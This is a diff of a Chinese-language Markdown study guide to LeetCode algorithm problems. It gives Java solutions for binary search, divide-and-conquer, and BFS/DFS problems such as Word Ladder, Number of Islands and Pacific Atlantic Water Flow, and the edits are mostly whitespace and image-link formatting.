-因为 h 的赋值表达式为 h = m，因此循环条件为 l < h。
+因为 h 的赋值表达式为 h = m，因此循环条件为 l < h。
 
 ```java
-public int firstBadVersion(int n) {
-    int l = 1, h = n;
-    while (l < h) {
-        int mid = l + (h - l) / 2;
-        if (isBadVersion(mid)) {
-            h = mid;
-        } else {
-            l = mid + 1;
-        }
-    }
-    return l;
+public int firstBadVersion(int n) {
+    int l = 1, h = n;
+    while (l < h) {
+        int mid = l + (h - l) / 2;
+        if (isBadVersion(mid)) {
+            h = mid;
+        } else {
+            l = mid + 1;
+        }
+    }
+    return l;
 }
 ```
 
-**旋转数组的最小数字** 
+**旋转数组的最小数字**
 
-[153. Find Minimum in Rotated Sorted Array (Medium)](https://leetcode.com/problems/find-minimum-in-rotated-sorted-array/description/)
+[153. Find Minimum in Rotated Sorted Array (Medium)](https://leetcode.com/problems/find-minimum-in-rotated-sorted-array/description/)
 
 ```html
-Input: [3,4,5,1,2],
-Output: 1
+Input: [3,4,5,1,2],
+Output: 1
 ```
 
 ```java
-public int findMin(int[] nums) {
-    int l = 0, h = nums.length - 1;
-    while (l < h) {
-        int m = l + (h - l) / 2;
-        if (nums[m] <= nums[h]) {
-            h = m;
-        } else {
-            l = m + 1;
-        }
-    }
-    return nums[l];
+public int findMin(int[] nums) {
+    int l = 0, h = nums.length - 1;
+    while (l < h) {
+        int m = l + (h - l) / 2;
+        if (nums[m] <= nums[h]) {
+            h = m;
+        } else {
+            l = m + 1;
+        }
+    }
+    return nums[l];
 }
 ```
 
-**查找区间** 
+**查找区间**
 
-[34. Search for a Range (Medium)](https://leetcode.com/problems/search-for-a-range/description/)
+[34. Search for a Range (Medium)](https://leetcode.com/problems/search-for-a-range/description/)
 
 ```html
-Input: nums = [5,7,7,8,8,10], target = 8
-Output: [3,4]
+Input: nums = [5,7,7,8,8,10], target = 8
+Output: [3,4]
 
-Input: nums = [5,7,7,8,8,10], target = 6
-Output: [-1,-1]
+Input: nums = [5,7,7,8,8,10], target = 6
+Output: [-1,-1]
 ```
 
 ```java
-public int[] searchRange(int[] nums, int target) {
-    int first = binarySearch(nums, target);
-    int last = binarySearch(nums, target + 1) - 1;
-    if (first == nums.length || nums[first] != target) {
-        return new int[]{-1, -1};
-    } else {
-        return new int[]{first, Math.max(first, last)};
-    }
+public int[] searchRange(int[] nums, int target) {
+    int first = binarySearch(nums, target);
+    int last = binarySearch(nums, target + 1) - 1;
+    if (first == nums.length || nums[first] != target) {
+        return new int[]{-1, -1};
+    } else {
+        return new int[]{first, Math.max(first, last)};
+    }
 }
 
-private int binarySearch(int[] nums, int target) {
-    int l = 0, h = nums.length; // 注意 h 的初始值
-    while (l < h) {
-        int m = l + (h - l) / 2;
-        if (nums[m] >= target) {
-            h = m;
-        } else {
-            l = m + 1;
-        }
-    }
-    return l;
+private int binarySearch(int[] nums, int target) {
+    int l = 0, h = nums.length; // 注意 h 的初始值
+    while (l < h) {
+        int m = l + (h - l) / 2;
+        if (nums[m] >= target) {
+            h = m;
+        } else {
+            l = m + 1;
+        }
+    }
+    return l;
 }
 ```
 
-## 分治
+## 分治
 
-**给表达式加括号** 
+**给表达式加括号**
 
-[241. Different Ways to Add Parentheses (Medium)](https://leetcode.com/problems/different-ways-to-add-parentheses/description/)
+[241. Different Ways to Add Parentheses (Medium)](https://leetcode.com/problems/different-ways-to-add-parentheses/description/)
 
 ```html
-Input: "2-1-1".
+Input: "2-1-1".
 
-((2-1)-1) = 0
-(2-(1-1)) = 2
+((2-1)-1) = 0
+(2-(1-1)) = 2
 
-Output : [0, 2]
+Output : [0, 2]
 ```
 
 ```java
-public List<Integer> diffWaysToCompute(String input) {
-    List<Integer> ways = new ArrayList<>();
-    for (int i = 0; i < input.length(); i++) {
-        char c = input.charAt(i);
-        if (c == '+' || c == '-' || c == '*') {
-            List<Integer> left = diffWaysToCompute(input.substring(0, i));
-            List<Integer> right = diffWaysToCompute(input.substring(i + 1));
-            for (int l : left) {
-                for (int r : right) {
-                    switch (c) {
-                        case '+':
-                            ways.add(l + r);
-                            break;
-                        case '-':
-                            ways.add(l - r);
-                            break;
-                        case '*':
-                            ways.add(l * r);
-                            break;
-                    }
-                }
-            }
-        }
-    }
-    if (ways.size() == 0) {
-        ways.add(Integer.valueOf(input));
-    }
-    return ways;
+public List<Integer> diffWaysToCompute(String input) {
+    List<Integer> ways = new ArrayList<>();
+    for (int i = 0; i < input.length(); i++) {
+        char c = input.charAt(i);
+        if (c == '+' || c == '-' || c == '*') {
+            List<Integer> left = diffWaysToCompute(input.substring(0, i));
+            List<Integer> right = diffWaysToCompute(input.substring(i + 1));
+            for (int l : left) {
+                for (int r : right) {
+                    switch (c) {
+                        case '+':
+                            ways.add(l + r);
+                            break;
+                        case '-':
+                            ways.add(l - r);
+                            break;
+                        case '*':
+                            ways.add(l * r);
+                            break;
+                    }
+                }
+            }
+        }
+    }
+    if (ways.size() == 0) {
+        ways.add(Integer.valueOf(input));
+    }
+    return ways;
 }
 ```
 
-## 搜索
+## 搜索
 
 深度优先搜索和广度优先搜索广泛运用于树和图中，但是它们的应用远远不止如此。
 
-### BFS
+### BFS
 
-<div align="center"> <img src="pics/4ff355cf-9a7f-4468-af43-e5b02038facc.jpg"/> </div><br>
+![](index_files/4ff355cf-9a7f-4468-af43-e5b02038facc.jpg)
 
 广度优先搜索一层一层地进行遍历，每层遍历都以上一层遍历的结果作为起点，遍历一个距离能访问到的所有节点。需要注意的是，遍历过的节点不能再次被遍历。
 
 第一层：
 
-- 0 -> {6,2,1,5}
+- 0 -> {6,2,1,5}
 
 第二层：
 
-- 6 -> {4}
-- 2 -> {}
-- 1 -> {}
-- 5 -> {3}
+- 6 -> {4}
+- 2 -> {}
+- 1 -> {}
+- 5 -> {3}
 
 第三层：
 
-- 4 -> {}
-- 3 -> {}
+- 4 -> {}
+- 3 -> {}
 
-每一层遍历的节点都与根节点距离相同。设 d<sub>i</sub> 表示第 i 个节点与根节点的距离，推导出一个结论：对于先遍历的节点 i 与后遍历的节点 j，有 d<sub>i</sub> <= d<sub>j</sub>。利用这个结论，可以求解最短路径等  **最优解**  问题：第一次遍历到目的节点，其所经过的路径为最短路径。应该注意的是，使用 BFS 只能求解无权图的最短路径。
+每一层遍历的节点都与根节点距离相同。设 d<sub>i</sub> 表示第 i 个节点与根节点的距离，推导出一个结论：对于先遍历的节点 i 与后遍历的节点 j，有 d<sub>i</sub> <= d<sub>j</sub>。利用这个结论，可以求解最短路径等 **最优解** 问题：第一次遍历到目的节点，其所经过的路径为最短路径。应该注意的是，使用 BFS 只能求解无权图的最短路径。
 
-在程序实现 BFS 时需要考虑以下问题：
+在程序实现 BFS 时需要考虑以下问题：
 
-- 队列：用来存储每一轮遍历得到的节点；
-- 标记：对于遍历过的节点，应该将它标记，防止重复遍历。
+- 队列：用来存储每一轮遍历得到的节点；
+- 标记：对于遍历过的节点，应该将它标记，防止重复遍历。
 
-**计算在网格中从原点到特定点的最短路径长度** 
+**计算在网格中从原点到特定点的最短路径长度**
 
 ```html
 [[1,1,0,1],
- [1,0,1,0],
- [1,1,1,1],
- [1,0,1,1]]
+ [1,0,1,0],
+ [1,1,1,1],
+ [1,0,1,1]]
 ```
 
-1 表示可以经过某个位置，求解从 (0, 0) 位置到 (tr, tc) 位置的最短路径长度。
+1 表示可以经过某个位置，求解从 (0, 0) 位置到 (tr, tc) 位置的最短路径长度。
 
 ```java
-public int minPathLength(int[][] grids, int tr, int tc) {
-    final int[][] direction = {{1, 0}, {-1, 0}, {0, 1}, {0, -1}};
-    final int m = grids.length, n = grids[0].length;
-    Queue<Pair<Integer, Integer>> queue = new LinkedList<>();
-    queue.add(new Pair<>(0, 0));
-    int pathLength = 0;
-    while (!queue.isEmpty()) {
-        int size = queue.size();
-        pathLength++;
-        while (size-- > 0) {
-            Pair<Integer, Integer> cur = queue.poll();
-            int cr = cur.getKey(), cc = cur.getValue();
-            grids[cr][cc] = 0; // 标记
-            for (int[] d : direction) {
-                int nr = cr + d[0], nc = cc + d[1];
-                if (nr < 0 || nr >= m || nc < 0 || nc >= n || grids[nr][nc] == 0) {
-                    continue;
-                }
-                if (nr == tr && nc == tc) {
-                    return pathLength;
-                }
-                queue.add(new Pair<>(nr, nc));
-            }
-        }
-    }
-    return -1;
+public int minPathLength(int[][] grids, int tr, int tc) {
+    final int[][] direction = {{1, 0}, {-1, 0}, {0, 1}, {0, -1}};
+    final int m = grids.length, n = grids[0].length;
+    Queue<Pair<Integer, Integer>> queue = new LinkedList<>();
+    queue.add(new Pair<>(0, 0));
+    int pathLength = 0;
+    while (!queue.isEmpty()) {
+        int size = queue.size();
+        pathLength++;
+        while (size-- > 0) {
+            Pair<Integer, Integer> cur = queue.poll();
+            int cr = cur.getKey(), cc = cur.getValue();
+            grids[cr][cc] = 0; // 标记
+            for (int[] d : direction) {
+                int nr = cr + d[0], nc = cc + d[1];
+                if (nr < 0 || nr >= m || nc < 0 || nc >= n || grids[nr][nc] == 0) {
+                    continue;
+                }
+                if (nr == tr && nc == tc) {
+                    return pathLength;
+                }
+                queue.add(new Pair<>(nr, nc));
+            }
+        }
+    }
+    return -1;
 }
 ```
 
-**组成整数的最小平方数数量** 
+**组成整数的最小平方数数量**
 
-[279. Perfect Squares (Medium)](https://leetcode.com/problems/perfect-squares/description/)
+[279. Perfect Squares (Medium)](https://leetcode.com/problems/perfect-squares/description/)
 
 ```html
-For example, given n = 12, return 3 because 12 = 4 + 4 + 4; given n = 13, return 2 because 13 = 4 + 9.
+For example, given n = 12, return 3 because 12 = 4 + 4 + 4; given n = 13, return 2 because 13 = 4 + 9.
 ```
 
 可以将每个整数看成图中的一个节点，如果两个整数之差为一个平方数，那么这两个整数所在的节点就有一条边。
 
-要求解最小的平方数数量，就是求解从节点 n 到节点 0 的最短路径。
+要求解最小的平方数数量，就是求解从节点 n 到节点 0 的最短路径。
 
 本题也可以用动态规划求解，在之后动态规划部分中会再次出现。
 
 ```java
-public int numSquares(int n) {
-    List<Integer> squares = generateSquares(n);
-    Queue<Integer> queue = new LinkedList<>();
-    boolean[] marked = new boolean[n + 1];
-    queue.add(n);
-    marked[n] = true;
-    int level = 0;
-    while (!queue.isEmpty()) {
-        int size = queue.size();
-        level++;
-        while (size-- > 0) {
-            int cur = queue.poll();
-            for (int s : squares) {
-                int next = cur - s;
-                if (next < 0) {
-                    break;
-                }
-                if (next == 0) {
-                    return level;
-                }
-                if (marked[next]) {
-                    continue;
-                }
-                marked[next] = true;
-                queue.add(next);
-            }
-        }
-    }
-    return n;
+public int numSquares(int n) {
+    List<Integer> squares = generateSquares(n);
+    Queue<Integer> queue = new LinkedList<>();
+    boolean[] marked = new boolean[n + 1];
+    queue.add(n);
+    marked[n] = true;
+    int level = 0;
+    while (!queue.isEmpty()) {
+        int size = queue.size();
+        level++;
+        while (size-- > 0) {
+            int cur = queue.poll();
+            for (int s : squares) {
+                int next = cur - s;
+                if (next < 0) {
+                    break;
+                }
+                if (next == 0) {
+                    return level;
+                }
+                if (marked[next]) {
+                    continue;
+                }
+                marked[next] = true;
+                queue.add(next);
+            }
+        }
+    }
+    return n;
 }
 
 /**
- * 生成小于 n 的平方数序列
- * @return 1,4,9,...
- */
-private List<Integer> generateSquares(int n) {
-    List<Integer> squares = new ArrayList<>();
-    int square = 1;
-    int diff = 3;
-    while (square <= n) {
-        squares.add(square);
-        square += diff;
-        diff += 2;
-    }
-    return squares;
+ * 生成小于 n 的平方数序列
+ * @return 1,4,9,...
+ */
+private List<Integer> generateSquares(int n) {
+    List<Integer> squares = new ArrayList<>();
+    int square = 1;
+    int diff = 3;
+    while (square <= n) {
+        squares.add(square);
+        square += diff;
+        diff += 2;
+    }
+    return squares;
 }
 ```
 
-**最短单词路径** 
+**最短单词路径**
 
-[127. Word Ladder (Medium)](https://leetcode.com/problems/word-ladder/description/)
+[127. Word Ladder (Medium)](https://leetcode.com/problems/word-ladder/description/)
 
 ```html
 Input:
-beginWord = "hit",
-endWord = "cog",
-wordList = ["hot","dot","dog","lot","log","cog"]
+beginWord = "hit",
+endWord = "cog",
+wordList = ["hot","dot","dog","lot","log","cog"]
 
-Output: 5
+Output: 5
 
-Explanation: As one shortest transformation is "hit" -> "hot" -> "dot" -> "dog" -> "cog",
-return its length 5.
+Explanation: As one shortest transformation is "hit" -> "hot" -> "dot" -> "dog" -> "cog",
+return its length 5.
 ```
 
 ```html
 Input:
-beginWord = "hit"
-endWord = "cog"
-wordList = ["hot","dot","dog","lot","log"]
+beginWord = "hit"
+endWord = "cog"
+wordList = ["hot","dot","dog","lot","log"]
 
-Output: 0
+Output: 0
 
-Explanation: The endWord "cog" is not in wordList, therefore no possible transformation.
+Explanation: The endWord "cog" is not in wordList, therefore no possible transformation.
 ```
 
-题目描述：找出一条从 beginWord 到 endWord 的最短路径，每次移动规定为改变一个字符，并且改变之后的字符串必须在 wordList 中。
+题目描述：找出一条从 beginWord 到 endWord 的最短路径，每次移动规定为改变一个字符，并且改变之后的字符串必须在 wordList 中。
 
 ```java
-public int ladderLength(String beginWord, String endWord, List<String> wordList) {
-    wordList.add(beginWord);
-    int N = wordList.size();
-    int start = N - 1;
-    int end = 0;
-    while (end < N && !wordList.get(end).equals(endWord)) {
-        end++;
-    }
-    if (end == N) {
-        return 0;
-    }
-    List<Integer>[] graphic = buildGraphic(wordList);
-    return getShortestPath(graphic, start, end);
+public int ladderLength(String beginWord, String endWord, List<String> wordList) {
+    wordList.add(beginWord);
+    int N = wordList.size();
+    int start = N - 1;
+    int end = 0;
+    while (end < N && !wordList.get(end).equals(endWord)) {
+        end++;
+    }
+    if (end == N) {
+        return 0;
+    }
+    List<Integer>[] graphic = buildGraphic(wordList);
+    return getShortestPath(graphic, start, end);
 }
 
-private List<Integer>[] buildGraphic(List<String> wordList) {
-    int N = wordList.size();
-    List<Integer>[] graphic = new List[N];
-    for (int i = 0; i < N; i++) {
-        graphic[i] = new ArrayList<>();
-        for (int j = 0; j < N; j++) {
-            if (isConnect(wordList.get(i), wordList.get(j))) {
-                graphic[i].add(j);
-            }
-        }
-    }
-    return graphic;
+private List<Integer>[] buildGraphic(List<String> wordList) {
+    int N = wordList.size();
+    List<Integer>[] graphic = new List[N];
+    for (int i = 0; i < N; i++) {
+        graphic[i] = new ArrayList<>();
+        for (int j = 0; j < N; j++) {
+            if (isConnect(wordList.get(i), wordList.get(j))) {
+                graphic[i].add(j);
+            }
+        }
+    }
+    return graphic;
 }
 
-private boolean isConnect(String s1, String s2) {
-    int diffCnt = 0;
-    for (int i = 0; i < s1.length() && diffCnt <= 1; i++) {
-        if (s1.charAt(i) != s2.charAt(i)) {
-            diffCnt++;
-        }
-    }
-    return diffCnt == 1;
+private boolean isConnect(String s1, String s2) {
+    int diffCnt = 0;
+    for (int i = 0; i < s1.length() && diffCnt <= 1; i++) {
+        if (s1.charAt(i) != s2.charAt(i)) {
+            diffCnt++;
+        }
+    }
+    return diffCnt == 1;
 }
 
-private int getShortestPath(List<Integer>[] graphic, int start, int end) {
-    Queue<Integer> queue = new LinkedList<>();
-    boolean[] marked = new boolean[graphic.length];
-    queue.add(start);
-    marked[start] = true;
-    int path = 1;
-    while (!queue.isEmpty()) {
-        int size = queue.size();
-        path++;
-        while (size-- > 0) {
-            int cur = queue.poll();
-            for (int next : graphic[cur]) {
-                if (next == end) {
-                    return path;
-                }
-                if (marked[next]) {
-                    continue;
-                }
-                marked[next] = true;
-                queue.add(next);
-            }
-        }
-    }
-    return 0;
+private int getShortestPath(List<Integer>[] graphic, int start, int end) {
+    Queue<Integer> queue = new LinkedList<>();
+    boolean[] marked = new boolean[graphic.length];
+    queue.add(start);
+    marked[start] = true;
+    int path = 1;
+    while (!queue.isEmpty()) {
+        int size = queue.size();
+        path++;
+        while (size-- > 0) {
+            int cur = queue.poll();
+            for (int next : graphic[cur]) {
+                if (next == end) {
+                    return path;
+                }
+                if (marked[next]) {
+                    continue;
+                }
+                marked[next] = true;
+                queue.add(next);
+            }
+        }
+    }
+    return 0;
 }
 ```
 
-### DFS
+### DFS
 
-<div align="center"> <img src="pics/f7f7e3e5-7dd4-4173-9999-576b9e2ac0a2.png"/> </div><br>
+![](index_files/f7f7e3e5-7dd4-4173-9999-576b9e2ac0a2.png)
 
 广度优先搜索一层一层遍历，每一层得到的所有新节点，要用队列存储起来以备下一层遍历的时候再遍历。
 
-而深度优先搜索在得到一个新节点时立即对新节点进行遍历：从节点 0 出发开始遍历，得到到新节点 6 时，立马对新节点 6 进行遍历，得到新节点 4；如此反复以这种方式遍历新节点，直到没有新节点了，此时返回。返回到根节点 0 的情况是，继续对根节点 0 进行遍历，得到新节点 2，然后继续以上步骤。
+而深度优先搜索在得到一个新节点时立即对新节点进行遍历：从节点 0 出发开始遍历，得到到新节点 6 时，立马对新节点 6 进行遍历，得到新节点 4；如此反复以这种方式遍历新节点，直到没有新节点了，此时返回。返回到根节点 0 的情况是，继续对根节点 0 进行遍历，得到新节点 2，然后继续以上步骤。
 
-从一个节点出发，使用 DFS 对一个图进行遍历时，能够遍历到的节点都是从初始节点可达的，DFS 常用来求解这种  **可达性**  问题。
+从一个节点出发，使用 DFS 对一个图进行遍历时，能够遍历到的节点都是从初始节点可达的，DFS 常用来求解这种 **可达性** 问题。
 
-在程序实现 DFS 时需要考虑以下问题：
+在程序实现 DFS 时需要考虑以下问题：
 
-- 栈：用栈来保存当前节点信息，当遍历新节点返回时能够继续遍历当前节点。可以使用递归栈。
-- 标记：和 BFS 一样同样需要对已经遍历过的节点进行标记。
+- 栈：用栈来保存当前节点信息，当遍历新节点返回时能够继续遍历当前节点。可以使用递归栈。
+- 标记：和 BFS 一样同样需要对已经遍历过的节点进行标记。
 
-**查找最大的连通面积** 
+**查找最大的连通面积**
 
-[695. Max Area of Island (Easy)](https://leetcode.com/problems/max-area-of-island/description/)
+[695. Max Area of Island (Easy)](https://leetcode.com/problems/max-area-of-island/description/)
 
 ```html
 [[0,0,1,0,0,0,0,1,0,0,0,0,0],
- [0,0,0,0,0,0,0,1,1,1,0,0,0],
- [0,1,1,0,1,0,0,0,0,0,0,0,0],
- [0,1,0,0,1,1,0,0,1,0,1,0,0],
- [0,1,0,0,1,1,0,0,1,1,1,0,0],
- [0,0,0,0,0,0,0,0,0,0,1,0,0],
- [0,0,0,0,0,0,0,1,1,1,0,0,0],
- [0,0,0,0,0,0,0,1,1,0,0,0,0]]
+ [0,0,0,0,0,0,0,1,1,1,0,0,0],
+ [0,1,1,0,1,0,0,0,0,0,0,0,0],
+ [0,1,0,0,1,1,0,0,1,0,1,0,0],
+ [0,1,0,0,1,1,0,0,1,1,1,0,0],
+ [0,0,0,0,0,0,0,0,0,0,1,0,0],
+ [0,0,0,0,0,0,0,1,1,1,0,0,0],
+ [0,0,0,0,0,0,0,1,1,0,0,0,0]]
 ```
 
 ```java
-private int m, n;
-private int[][] direction = {{0, 1}, {0, -1}, {1, 0}, {-1, 0}};
+private int m, n;
+private int[][] direction = {{0, 1}, {0, -1}, {1, 0}, {-1, 0}};
 
-public int maxAreaOfIsland(int[][] grid) {
-    if (grid == null || grid.length == 0) {
-        return 0;
-    }
-    m = grid.length;
-    n = grid[0].length;
-    int maxArea = 0;
-    for (int i = 0; i < m; i++) {
-        for (int j = 0; j < n; j++) {
-            maxArea = Math.max(maxArea, dfs(grid, i, j));
-        }
-    }
-    return maxArea;
+public int maxAreaOfIsland(int[][] grid) {
+    if (grid == null || grid.length == 0) {
+        return 0;
+    }
+    m = grid.length;
+    n = grid[0].length;
+    int maxArea = 0;
+    for (int i = 0; i < m; i++) {
+        for (int j = 0; j < n; j++) {
+            maxArea = Math.max(maxArea, dfs(grid, i, j));
+        }
+    }
+    return maxArea;
 }
 
-private int dfs(int[][] grid, int r, int c) {
-    if (r < 0 || r >= m || c < 0 || c >= n || grid[r][c] == 0) {
-        return 0;
-    }
-    grid[r][c] = 0;
-    int area = 1;
-    for (int[] d : direction) {
-        area += dfs(grid, r + d[0], c + d[1]);
-    }
-    return area;
+private int dfs(int[][] grid, int r, int c) {
+    if (r < 0 || r >= m || c < 0 || c >= n || grid[r][c] == 0) {
+        return 0;
+    }
+    grid[r][c] = 0;
+    int area = 1;
+    for (int[] d : direction) {
+        area += dfs(grid, r + d[0], c + d[1]);
+    }
+    return area;
 }
 ```
 
-**矩阵中的连通分量数目** 
+**矩阵中的连通分量数目**
 
-[200. Number of Islands (Medium)](https://leetcode.com/problems/number-of-islands/description/)
+[200. Number of Islands (Medium)](https://leetcode.com/problems/number-of-islands/description/)
 
 ```html
 Input:
@@ -1479,2201 +1423,2201 @@ Input:
 00100
 00011
 
-Output: 3
+Output: 3
 ```
 
 可以将矩阵表示看成一张有向图。
 
 ```java
-private int m, n;
-private int[][] direction = {{0, 1}, {0, -1}, {1, 0}, {-1, 0}};
+private int m, n;
+private int[][] direction = {{0, 1}, {0, -1}, {1, 0}, {-1, 0}};
 
-public int numIslands(char[][] grid) {
-    if (grid == null || grid.length == 0) {
-        return 0;
-    }
-    m = grid.length;
-    n = grid[0].length;
-    int islandsNum = 0;
-    for (int i = 0; i < m; i++) {
-        for (int j = 0; j < n; j++) {
-            if (grid[i][j] != '0') {
-                dfs(grid, i, j);
-                islandsNum++;
-            }
-        }
-    }
-    return islandsNum;
+public int numIslands(char[][] grid) {
+    if (grid == null || grid.length == 0) {
+        return 0;
+    }
+    m = grid.length;
+    n = grid[0].length;
+    int islandsNum = 0;
+    for (int i = 0; i < m; i++) {
+        for (int j = 0; j < n; j++) {
+            if (grid[i][j] != '0') {
+                dfs(grid, i, j);
+                islandsNum++;
+            }
+        }
+    }
+    return islandsNum;
 }
 
-private void dfs(char[][] grid, int i, int j) {
-    if (i < 0 || i >= m || j < 0 || j >= n || grid[i][j] == '0') {
-        return;
-    }
-    grid[i][j] = '0';
-    for (int[] d : direction) {
-        dfs(grid, i + d[0], j + d[1]);
-    }
+private void dfs(char[][] grid, int i, int j) {
+    if (i < 0 || i >= m || j < 0 || j >= n || grid[i][j] == '0') {
+        return;
+    }
+    grid[i][j] = '0';
+    for (int[] d : direction) {
+        dfs(grid, i + d[0], j + d[1]);
+    }
 }
 ```
 
-**好友关系的连通分量数目** 
+**好友关系的连通分量数目**
 
-[547. Friend Circles (Medium)](https://leetcode.com/problems/friend-circles/description/)
+[547. Friend Circles (Medium)](https://leetcode.com/problems/friend-circles/description/)
 
 ```html
 Input:
 [[1,1,0],
- [1,1,0],
- [0,0,1]]
+ [1,1,0],
+ [0,0,1]]
 
-Output: 2
+Output: 2
 
-Explanation:The 0th and 1st students are direct friends, so they are in a friend circle.
-The 2nd student himself is in a friend circle. So return 2.
+Explanation:The 0th and 1st students are direct friends, so they are in a friend circle.
+The 2nd student himself is in a friend circle. So return 2.
 ```
 
-题目描述：好友关系可以看成是一个无向图，例如第 0 个人与第 1 个人是好友，那么 M[0][1] 和 M[1][0] 的值都为 1。
+题目描述：好友关系可以看成是一个无向图，例如第 0 个人与第 1 个人是好友，那么 M[0][1] 和 M[1][0] 的值都为 1。
 
 ```java
-private int n;
+private int n;
 
-public int findCircleNum(int[][] M) {
-    n = M.length;
-    int circleNum = 0;
-    boolean[] hasVisited = new boolean[n];
-    for (int i = 0; i < n; i++) {
-        if (!hasVisited[i]) {
-            dfs(M, i, hasVisited);
-            circleNum++;
-        }
-    }
-    return circleNum;
+public int findCircleNum(int[][] M) {
+    n = M.length;
+    int circleNum = 0;
+    boolean[] hasVisited = new boolean[n];
+    for (int i = 0; i < n; i++) {
+        if (!hasVisited[i]) {
+            dfs(M, i, hasVisited);
+            circleNum++;
+        }
+    }
+    return circleNum;
 }
 
-private void dfs(int[][] M, int i, boolean[] hasVisited) {
-    hasVisited[i] = true;
-    for (int k = 0; k < n; k++) {
-        if (M[i][k] == 1 && !hasVisited[k]) {
-            dfs(M, k, hasVisited);
-        }
-    }
+private void dfs(int[][] M, int i, boolean[] hasVisited) {
+    hasVisited[i] = true;
+    for (int k = 0; k < n; k++) {
+        if (M[i][k] == 1 && !hasVisited[k]) {
+            dfs(M, k, hasVisited);
+        }
+    }
 }
 ```
 
-**填充封闭区域** 
+**填充封闭区域**
 
-[130. Surrounded Regions (Medium)](https://leetcode.com/problems/surrounded-regions/description/)
+[130. Surrounded Regions (Medium)](https://leetcode.com/problems/surrounded-regions/description/)
 
 ```html
-For example,
-X X X X
-X O O X
-X X O X
-X O X X
+For example,
+X X X X
+X O O X
+X X O X
+X O X X
 
-After running your function, the board should be:
-X X X X
-X X X X
-X X X X
-X O X X
+After running your function, the board should be:
+X X X X
+X X X X
+X X X X
+X O X X
 ```
 
-题目描述：使被 'X' 包围的 'O' 转换为 'X'。
+题目描述：使被 'X' 包围的 'O' 转换为 'X'。
 
 先填充最外侧，剩下的就是里侧了。
 
 ```java
-private int[][] direction = {{0, 1}, {0, -1}, {1, 0}, {-1, 0}};
-private int m, n;
+private int[][] direction = {{0, 1}, {0, -1}, {1, 0}, {-1, 0}};
+private int m, n;
 
-public void solve(char[][] board) {
-    if (board == null || board.length == 0) {
-        return;
-    }
+public void solve(char[][] board) {
+    if (board == null || board.length == 0) {
+        return;
+    }
 
-    m = board.length;
-    n = board[0].length;
+    m = board.length;
+    n = board[0].length;
 
-    for (int i = 0; i < m; i++) {
-        dfs(board, i, 0);
-        dfs(board, i, n - 1);
-    }
-    for (int i = 0; i < n; i++) {
-        dfs(board, 0, i);
-        dfs(board, m - 1, i);
-    }
+    for (int i = 0; i < m; i++) {
+        dfs(board, i, 0);
+        dfs(board, i, n - 1);
+    }
+    for (int i = 0; i < n; i++) {
+        dfs(board, 0, i);
+        dfs(board, m - 1, i);
+    }
 
-    for (int i = 0; i < m; i++) {
-        for (int j = 0; j < n; j++) {
-            if (board[i][j] == 'T') {
-                board[i][j] = 'O';
-            } else if (board[i][j] == 'O') {
-                board[i][j] = 'X';
-            }
-        }
-    }
+    for (int i = 0; i < m; i++) {
+        for (int j = 0; j < n; j++) {
+            if (board[i][j] == 'T') {
+                board[i][j] = 'O';
+            } else if (board[i][j] == 'O') {
+                board[i][j] = 'X';
+            }
+        }
+    }
 }
 
-private void dfs(char[][] board, int r, int c) {
-    if (r < 0 || r >= m || c < 0 || c >= n || board[r][c] != 'O') {
-        return;
-    }
-    board[r][c] = 'T';
-    for (int[] d : direction) {
-        dfs(board, r + d[0], c + d[1]);
-    }
+private void dfs(char[][] board, int r, int c) {
+    if (r < 0 || r >= m || c < 0 || c >= n || board[r][c] != 'O') {
+        return;
+    }
+    board[r][c] = 'T';
+    for (int[] d : direction) {
+        dfs(board, r + d[0], c + d[1]);
+    }
 }
 ```
 
-**能到达的太平洋和大西洋的区域** 
+**能到达的太平洋和大西洋的区域**
 
-[417. Pacific Atlantic Water Flow (Medium)](https://leetcode.com/problems/pacific-atlantic-water-flow/description/)
+[417. Pacific Atlantic Water Flow (Medium)](https://leetcode.com/problems/pacific-atlantic-water-flow/description/)
 
 ```html
-Given the following 5x5 matrix:
+Given the following 5x5 matrix:
 
-  Pacific ~   ~   ~   ~   ~
-       ~  1   2   2   3  (5) *
-       ~  3   2   3  (4) (4) *
-       ~  2   4  (5)  3   1  *
-       ~ (6) (7)  1   4   5  *
-       ~ (5)  1   1   2   4  *
-          *   *   *   *   * Atlantic
+  Pacific ~   ~   ~   ~   ~
+       ~  1   2   2   3  (5) *
+       ~  3   2   3  (4) (4) *
+       ~  2   4  (5)  3   1  *
+       ~ (6) (7)  1   4   5  *
+       ~ (5)  1   1   2   4  *
+          *   *   *   *   * Atlantic
 
 Return:
-[[0, 4], [1, 3], [1, 4], [2, 2], [3, 0], [3, 1], [4, 0]] (positions with parentheses in above matrix).
+[[0, 4], [1, 3], [1, 4], [2, 2], [3, 0], [3, 1], [4, 0]] (positions with parentheses in above matrix).
 ```
 
 左边和上边是太平洋，右边和下边是大西洋，内部的数字代表海拔，海拔高的地方的水能够流到低的地方，求解水能够流到太平洋和大西洋的所有位置。
 
 ```java
 
-private int m, n;
-private int[][] matrix;
-private int[][] direction = {{0, 1}, {0, -1}, {1, 0}, {-1, 0}};
+private int m, n;
+private int[][] matrix;
+private int[][] direction = {{0, 1}, {0, -1}, {1, 0}, {-1, 0}};
 
-public List<int[]> pacificAtlantic(int[][] matrix) {
-    List<int[]> ret = new ArrayList<>();
-    if (matrix == null || matrix.length == 0) {
-        return ret;
-    }
+public List<int[]> pacificAtlantic(int[][] matrix) {
+    List<int[]> ret = new ArrayList<>();
+    if (matrix == null || matrix.length == 0) {
+        return ret;
+    }
 
-    m = matrix.length;
-    n = matrix[0].length;
-    this.matrix = matrix;
-    boolean[][] canReachP = new boolean[m][n];
-    boolean[][] canReachA = new boolean[m][n];
+    m = matrix.length;
+    n = matrix[0].length;
+    this.matrix = matrix;
+    boolean[][] canReachP = new boolean[m][n];
+    boolean[][] canReachA = new boolean[m][n];
 
-    for (int i = 0; i < m; i++) {
-        dfs(i, 0, canReachP);
-        dfs(i, n - 1, canReachA);
-    }
-    for (int i = 0; i < n; i++) {
-        dfs(0, i, canReachP);
-        dfs(m - 1, i, canReachA);
-    }
+    for (int i = 0; i < m; i++) {
+        dfs(i, 0, canReachP);
+        dfs(i, n - 1, canReachA);
+    }
+    for (int i = 0; i < n; i++) {
+        dfs(0, i, canReachP);
+        dfs(m - 1, i, canReachA);
+    }
 
-    for (int i = 0; i < m; i++) {
-        for (int j = 0; j < n; j++) {
-            if (canReachP[i][j] && canReachA[i][j]) {
-                ret.add(new int[]{i, j});
-            }
-        }
-    }
+    for (int i = 0; i < m; i++) {
+        for (int j = 0; j < n; j++) {
+            if (canReachP[i][j] && canReachA[i][j]) {
+                ret.add(new int[]{i, j});
+            }
+        }
+    }
 
-    return ret;
+    return ret;
 }
 
